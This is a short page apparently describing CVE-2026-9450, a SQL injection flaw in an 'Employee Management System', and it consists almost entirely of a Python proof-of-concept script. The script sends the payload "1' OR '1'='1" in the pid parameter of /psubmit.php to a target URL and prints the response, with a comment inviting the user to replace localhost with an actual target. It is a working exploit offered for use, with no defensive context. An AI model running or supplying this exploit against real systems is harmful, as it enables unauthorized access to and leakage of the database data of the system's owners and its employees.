CVE-2026-9450 Employee Management System SQL注入漏洞

import requests def exploit_sqli(target_url): # Vulnerable parameter: pid # Vulnerable file: /psubmit.php payload = { "pid": "1' OR '1'='1" # Basic PoC payload to test vulnerability } try: response = requests.post(target_url + "/psubmit.php", data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for potential data leakage or behavior changes.") print("Response:", response.text[:200]) else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_sqli(target)